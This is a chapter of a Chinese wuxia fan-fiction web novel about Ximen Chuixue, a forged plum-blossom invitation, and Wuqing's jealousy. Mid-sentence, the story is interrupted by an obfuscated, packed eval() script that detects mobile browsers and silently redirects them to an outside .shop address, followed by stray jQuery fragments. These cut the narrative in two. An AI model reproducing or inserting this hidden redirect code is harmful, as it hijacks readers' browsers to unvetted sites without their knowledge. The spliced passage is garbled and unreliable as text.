文趣网 > 其他小说 > [综武侠]红鸾权臣何时归 > 28. 西门吹雪的邀约
    塞北的风,一日寒过一日。

    万梅山庄早已被凛冽寒霜浸透,遍地落白,冷风穿林而过,卷起细碎雪沫,割得人肌肤发紧。花还没有开,枝头只有星星点点的花苞,被寒风冻得紧紧的,像攥着不肯松手的拳头。可梅林深处,那道执剑独立的清瘦身影,从未有一日缺席。

    西门吹雪白衣胜雪,立于千树寒梅之间,手握一柄清冷长剑,剑风起落,无声破雪。岁岁年年,他练剑从无杂念,心似寒潭,不起波澜。

    直至一声清亮鹰啸划破长空,穿透漫天风雪,骤然打破这片亘古的宁静。

    西门吹雪收剑抬眸,抬眼望向茫茫天穹。素来淡漠无波的眼底,悄然浮起一丝连自己都未曾察觉的浅浅期待。

    他在等一个人。

    可长风过隙,掠空而来的唯有那头通人性的金雕,羽翼破空,孤身赴归,不见那道火红的身影。

    金雕盘旋一圈,稳稳落于他身前的老枝之上,积雪簌簌坠落。鸟爪之下,稳稳挂着一个小小的锦布包裹,轻轻晃动,示意他自取。

    西门吹雪眸光微沉,清冷声线裹着塞北寒霜,带着一丝不易察觉的失落:“她为何不亲自前来?”

    金雕歪了歪头,喉咙里发出几声低低的咕鸣,似在作答,可音节细碎晦涩,终究无人能懂。得不到回应,那点浅浅的期待,终究尽数落空。

    西门吹雪未曾多问,只淡淡回身,吩咐身侧管家备好鲜肉喂食金雕,指尖已然取下枝头那方小小的锦包。

    一个小巧的瓷瓶,白釉,温润如玉。十几颗珍珠,品相上等,圆润饱满,在冬日的薄光下泛着柔和的银白色光泽。一封信笺,折了两折,封口处点了一点淡粉色的胭脂。

    他把药瓶和珍珠推到一边,拿起信笺。动作很快,几乎是在那些东西刚露出包裹的时候就伸出手去了,手指碰到信笺的时候才慢下来,慢慢展开。

    信笺上的字不多,纸短情长。

    “瓶中药物服下可解后遗症,珍珠乃东海特产,赠君。”落款是一个字:梧。

    没有寒暄,没有问候,没有“近来可好”。他看了两遍,把信笺折好,收进袖中。

    他拿起那个白釉瓷瓶,拔开瓶塞。一股极淡的、海藻混合着什么的气息飘出来。不是陆地的东西,是海洋的气息。他没有服下,塞上瓶塞,放回袖中。

    两月有余,他早已摸清那残留毒性的后遗症究竟是什么。

    每月十五,月满中天之时,他午夜梦回,眼底心底,尽数是她的身影。

    红发,琥珀色的眼睛,站在沙丘上,月光落在她身上。他醒来后会坐很久,直到窗纸泛白。他不讨厌这个后遗症,在正式见到她之前,他会保留。

    风掠过梅林,吹起满地碎雪。西门吹雪抬手,折下身旁一枝寒梅。枝桠清瘦,未绽繁花,只缀着数颗饱满紧实的花苞,藏着待放的春意与期许。

    西门吹雪把梅枝递给金雕,“带给她。”

    金雕应声衔住梅枝,振翅而起,羽翼破开风雪,转瞬便飞出梅林,朝着东南海域的方向疾驰而去。

    可它尚未飞出万梅山庄边界,半空骤然翻涌漫天黑雾,阴冷诡谲的气息瞬间笼罩四方,将整片天光尽数遮蔽。

    一道身影自黑雾中缓步踏出,周身黑气缭绕,眉眼桀骜慵懒,自带一身不羁邪性。

    玉虚影一抬手,精准扣住金雕羽翼,轻而易举从鹰嘴之中夺过那枝寒梅。

    他指尖细细摩挲着冰凉的枝桠,看着枝头青涩花苞,忽然低笑出声,语气戏谑十足。

    “小雪儿,这般含蓄扭捏,可一点都不像你。送一枝空苞梅,不言不语,人家姑娘如何知晓你的心意?罢了,为父便好人做到底,替你一把。”

    话音落,玉罗刹抬手取出自备空白信笺,执笔落墨。

    他笔迹一转,全然复刻西门吹雪清冷瘦硬的书风,分毫不差,就连语气神态,都模仿得极致相像,清冷疏离中藏着几分隐晦邀约,恰到好处。

    寥寥数句,写成一封赏梅邀请函,直白坦荡,全然褪去了西门吹雪的内敛克制。

    写罢封缄,他重新将梅枝与信笺绑回金雕爪下,意欲让它继续奔赴东海。

    “怎么?你觉得她看到一枝光秃秃的梅枝,能懂什么意思?”玉罗刹把系好花笺的梅枝递还给金雕。

    金雕没有接。它歪着头看着他,喉咙里发出威胁的低鸣。

    “你送不送?”玉罗刹的声音还是那种不正经的调子,但暗红色的眼睛眯了一下。金雕继续盯着他,和他对峙了片刻,然后猛扑下来——不是接梅枝,是啄他的手指。

    玉罗刹没有躲。金雕的喙啄在他的手背上,力道不轻不重,留下一个浅浅的红印。他低头看着那个红印,又看着金雕。

    “脾气和她一样大。”

    金雕昂着头,像是在说——你活该。

    玉罗刹见状不恼,反倒笑得愈发肆意,随手摸出三斤上好鲜肉,递到金雕面前,慢悠悠开口:“收了好处,便乖乖送货。此事办妥,日后鲜肉管够。”

    金雕低头嗅了嗅鲜香肉块,纠结片刻,终究抵不过美食诱惑,愤愤作罢,衔肉稳身,再度振翅,朝着温暖的东海疾驰而去。

    东海明州,依旧暖意融融,海风温润,四季如春。没有塞北的风雪寒霜,这里日光和煦,海风轻柔,连光阴都变得缓慢温柔。

    这份温暖也感染了明州府衙后院里的女子们。她们在阳光下走着、坐着、站着,有人靠着廊柱晒太阳,有人蹲在花圃边看新开的不知名的小花,有人三三两两凑在一起说话,说到高兴处笑出声来。她们的眼睛是新的,瞳孔里映出蓝天、白云、青瓦、白墙,带着一种婴儿才有的、初初睁开眼看这个世界的好奇。

    昔日那些被原随云掳掠迫害、深陷黑暗的女子们,已然彻底走出过往阴霾。她们褪去惊惧怯懦,自在嬉笑,追逐在暖阳之下,眉眼鲜活,笑意澄澈,真正活成了本该有的模样。

    无情站在远处的回廊下,静静凝望,心底只剩一片安然平和。真好。历经绝境磨难,终得向阳新生。

    那些女子穿着新裁的衣裳,月白的、淡青的、藕荷的,衣料在阳光下泛着柔光。不是粗布麻衣,是成衣坊里最好的料子,带着异国的纹样和精细的绣花。

    他知道这些衣裳是谁置办的。

    栖梧站在院子角落的桂花树下,没有加入她们。她靠着树干,裙摆挽到小腿处,露出一截白皙的脚踝。

    塞勒趴在她脚边,银白色的毛在阳光下泛着绸缎般的光泽,尾巴一摇一摇的。几个年纪小的女子蹲在她旁边,正在摸银犬的毛。

    银犬很会撒娇卖萌,翻着肚皮,四脚朝天,舌头耷拉在外面,眼睛眯成两条缝。女子们被逗得咯咯笑,栖梧看着她们笑,眼角也跟着弯起来。她没有在笑,但她的眼角在笑,那颗红痣在她眼尾微微上扬,像一轮小小的、刚升起来的新月。眼底漾着浅浅笑意,温柔得足以融化海风。

    日光落于她红发碧衣之上,光影错落,温柔耀眼,胜过人间万千春色。

    似是察觉到远处的目光,栖梧抬眸望去,恰好对上无情沉静的视线。她眼底笑意未散,悄然侧身脱离人群,缓步朝他走来。

    无情亦是抬步上前,顺势引着她走向一旁清静厢房,避开花间喧闹。

    厢房内茶香袅袅,温润清雅。

    栖梧端起茶盏轻抿一口,抬眸看向对面静坐的男子,语气慵懒带笑:“大捕头特意寻我,可是有事?”

    无情抬眼,目光落在她明媚的眉眼上,语气带着几分确认:“听闻今日一早,有人一掷千金,包下了明州城最大的成衣坊,买断所有成衣。这般大手笔,放眼明州,除了你,我想不到第二人。”

    栖梧来历神秘,身手莫测,身负神迹,更有一个最直观的特点——从不缺钱。

    对此,栖梧全然不以为意,眼底掠过一丝难得的浅浅怨念,微微瞪了他一眼,语气带着几分嗔怪:“还能为何?你们一个个粗枝大叶,让这些姑娘们穿了许久的血衣,还是从死人身上扒下来的旧衣,怎能不委屈?”

    “我看着都心疼。”她轻轻叹气,语气软了几分,“只能临时尽数买下成衣,让她们速速换上干净衣物,暂且弥补几分。”

    无情闻言,坦然颔首,主动认错:“是我思虑疏失,不够周全。”

    他心底清楚,男子终究粗粝,不及女子细腻柔软,未能第一时间顾及这些细枝末节的体面与委屈。

    不过,这委屈二字,是否过于夸张了,明州本是东海通商大港,往来异国商贾云集,市面成衣用料考究,绝非粗制葛麻可比,算不上苛待。

    “临时成衣终究将就”栖梧抬眸看向他,眼底闪过一丝狡黠,“我打算给她们每人定制两身日常新衣。顺便,你也一同定制几套。”

    无情微怔,下意识便要推辞:“我不必……”

    话未出口,便被栖梧强势打断,她眼底笑意明媚,语气带着几分不容拒绝的任性:“我想看看,风度翩翩的无情大捕头,褪去一身素白官衣,穿其他颜色衣裳的模样。”

    温柔强势,直白可爱。

    无情将推辞的话语尽数咽回腹中,无奈又纵容,温和应下:“既然是栖梧姑娘所邀,那便劳烦你帮我挑款式、择颜色了。”

    “这般相信我的眼光?”栖梧挑眉笑问。

    赤汐馆主画技冠绝天下,审美卓绝天下,又怎会挑不好一身衣衫。”无情淡淡恭维,真诚坦荡。

    他心底通透,重点从来不是衣衫款式颜色,而是她想看他穿什么,他便顺从。

    栖梧被他说得心头愉悦,眼底骤然一亮,只觉心头灵光翻涌,万千笔触构图瞬间成型,当即来了新的画稿灵感。

    她顺势收敛笑意,回归正题,抬眸问道:“对了,你专程过来,总不是只为了问我买衣服的事吧?可有正事?”若无要事,她就要回去落笔作画了,灵感难得,不可辜负。

    无情闻言收敛闲适神色,身姿微正,语气郑重几分:“我此番前来,确有两件事,一私一公。”

    “但说无妨。”

    无情抬手,从怀中取出一方叠得整齐的素色手帕,层层展开,里面静静躺着一堆零散珠钗、碎玉簪子,皆是那日祭祀大典掉落的首饰。

    “私事,是替三师弟归还这些遗落饰品。”

    栖梧淡淡扫了一眼,便迅速移开目光,毫无留恋:“我不要,让崔捕头留着便好,或送人,或换酒,都随他心意。”也是难为追命了,明明可以跑最前面,为了帮她捡首饰还得停止往回跑。

    无情对此答复全然不意外。那日栖梧的头饰,有一大半是他亲手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593884|205530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拆下来的,拆下来的首饰有多少他自然清楚,更是亲眼见她满身华贵、步步落宝,知晓这些零碎物件,她定来看不上眼。

    他顺势收起手帕,转入公事,语气愈发严肃:“至于公事,我想邀你明日一同出海。”

    “出海?”

    “前往蝙蝠岛,清剿余孽,带回残存之人。”无情缓缓解释。

    算起来,距离栖梧把蝙蝠岛的“屋顶”掀翻已经过去了近十日了,她把原随云的眼睛毁了,把海浪召来困住了那些见不得光的客人。风暴已经持续了十日,把那些人困在那座寸草不生的小岛上,也不知道岛上的存粮够不够。

    “明日出海,四大名捕尽数同往吗?”栖梧好奇问道,“余下两位,我还未曾见过。”

    “并非全员出动。”无情细细解释,“四师弟冷血随我同往出海。三师弟追命已连夜奔赴汴京。二师弟铁手前往太原,探查无争山庄动向,追查关联线索。”

    栖梧点点头,忽然想起往日闲读的江湖话本,眼底泛起几分好奇:“我看过你们的话本,故事大多以冷血视角落笔。那位作者景流泱,同他很熟识?”

    这个问题,让无情难得短暂沉默。

    他稍作斟酌,温和作答,语气带着几分无奈:“我曾听冷血提及,景流泱的确数次寻他取材,诸多细节,皆是源自本人。”

    “难怪文字真切,共情动人。”栖梧恍然大悟,随即眼眸一亮,笑意浓浓地追问,“那话本里的诸葛青青,是真有其人吗?”

    无情闻言,眉心微蹙,彻底无奈了。他算是摸清规律了。好话本流传甚广,慕名而来者,十有八九都会问起这个杜撰出来的名字与纠葛。

    好消息——喜欢的姑娘看过以自己为原型的话本,因此对自己起了仰慕之心。坏消息——喜欢的姑娘拿话本里自己的三角恋来对照现实了。

    此刻的栖梧,面上笑意浅浅,眼底却微微半眯,慵懒的模样像极了蓄势待发的猫科猎手,看似闲适,实则分毫不让,静待他的答复。

    无情不敢有半分笼统敷衍,字字清晰,笃定作答:“世叔没有什么义女。铁手师弟也没有什么未婚妻。”更没有所谓的“铁手未婚妻爱上无情”的抓马桥段。

    “原来如此,竟是凭空编排。”栖梧眼底了然,随即替他们愤愤不平,“被人这般肆意杜撰编排、胡乱造谣,你们竟不追责,当真是人美心善。”

    无情闻言只笑不语,不是不愿追责,是不能。

    景流泱的真实身份是当今官家的御前近侍兼御用笔杆子,冷血当初被那近乎戏耍了一通,见了面也还是得绕着走。

    话题越聊越偏,无情正欲将话语拉回明日出海的正事,屋外忽然传来一声清亮鹰啸,穿透暖意海风,清晰入耳。

    栖梧闻声眼眸一亮,瞬间起身:“是赫利回来了,它送药来了!”

    送药?

    无情心头骤然一紧,莫名的不祥预感瞬间翻涌而上。

    屋外传来姑娘们细碎的惊叹声,热闹纷纷。

    “栖梧姑娘快来看!金雕衔了一枝梅花回来!”

    栖梧快步踏出厢房,无情即刻紧随其后。

    庭院暖阳之下,金雕静立枝头,爪下绑着一枝独特枝桠。并非南国繁花,而是一截带着青涩花苞的寒梅枝,孤高清冷,与温润明州的景致格格不入。

    东南温暖海域,四季无寒,素来不生梅树。这一枝待放寒梅,引得一众姑娘纷纷围拢,啧啧称奇,稀罕不已。

    “我去找个花瓶养起来!”一名姑娘笑着上前,小心翼翼想要接过梅枝。

    栖梧抬手轻轻拦下,亲自接过那枝寒梅与信笺,桃红色的花笺,带着淡淡的香味,然后低下头,嗅了嗅梅枝。

    无半分暗香,这才是西门吹雪的风格。

    她随即取下金雕爪下绑着的信笺,缓缓展开。字迹清冷,形似那人手笔,可字里行间直白热忱的邀约语气,却处处透着违和怪异。

    栖梧细细读罢,将信笺轻轻叠好收入袖中,眼底掠过一丝浅浅疑惑,这般直白热忱的邀约,实在不像是西门吹雪会有的行事风格。

    “这是……梅花?”无情站在她身侧,目光落于那枝满是花苞的梅枝上,眉心微蹙,思绪飞速流转,“明州温润无寒,从不产梅。这枝梅,定是千里之外移栽而来。”

    栖梧指尖轻轻拂过饱满花苞,心头已然浮现那道白衣吹雪的清冷身影,眼底不自觉染上一抹浅淡笑意。

    “是远方一位友人的回礼,也是一场邀约。”

    “邀约?”无情语声微沉。

    “是啊。”她的声音很轻,像怕惊动什么,“他在提醒我,梅花要开了。可以去他家,欣赏漫山遍野的梅花了。”

    梅花,赏梅,漫山遍野,万梅山庄,西门吹雪。

    零碎线索瞬间在脑海中串联闭环,无情刹那间洞悉所有答案。

    是西门吹雪,邀她北上赏梅。

    心头莫名的酸涩与滞闷骤然翻涌,密密麻麻蔓延四肢百骸。

    他下意识抬手,想要攥紧常年相伴的轮椅扶手,指尖却空空落落。

    恍然惊醒,他早已挣脱轮椅桎梏,重获站立行走的能力。下一瞬,五指收拢,悄然攥紧成拳。

    暖阳和煦,海风温柔,可无情心底,却悄然掠过一阵无声寒风。